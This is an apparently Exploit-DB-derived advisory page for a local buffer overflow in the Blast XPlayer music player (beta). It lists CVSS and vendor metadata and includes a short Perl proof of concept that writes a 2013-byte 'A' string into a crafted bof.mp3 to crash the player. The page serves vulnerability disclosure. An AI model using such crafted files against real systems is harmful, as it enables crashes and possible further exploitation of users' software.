Blast XPlayer Local Buffer Overflow PoC

vendor:

Blast XPlayer

by:

flux77

8,8

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: Blast XPlayer

Affected Version From: Beta

Affected Version To: Beta

Patch Exists: YES

Related CWE: N/A

CPE: a:blast-player:blast_xplayer

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: nix*, windows

2020

Blast XPlayer Local Buffer Overflow PoC

This application is a music player application is very practical and simple. Easy to use and the capacity that is not too big only 5MB. with this application you can play music whenever you want to store in flashdisc and opened on the computer without having to install it first.

Mitigation:

Ensure that the application is updated to the latest version and that all security patches are applied.

Source

Exploit-DB raw data:

Title: Blast XPlayer Local Buffer Overflow PoC
Vendor: http://sourceforge.net/projects/blast-player/files/latest/download?source=dlp
Versions: Beta
Platform: nix*, windows
Bug: Buffer Overflow


-------------------------------------------------------
 
1) Introduction
2) Proof of concept
3) Credits
 
 
===========
1) Introduction
===========
 
This application is a music player application is very practical and simple. 
Easy to use and the capacity that is not too big only 5MB. 
with this application you can play music whenever you want to store in flashdisc 
and opened on the computer without having to install it first. 
This application is still in the Indonesian version, but will be present in the english version in a few days.
 
=====
2)proof of concept
=====
 
#!/usr/bin/perl

$bof = "A" x 2013;
$filename = "bof.mp3";
open (FILE,">$filename");
print FILE "$bof";
print "\ncreated!!!\n";

=====
3)Credits
=====
 
flux77
Contact : 0xflux77 at gmail.com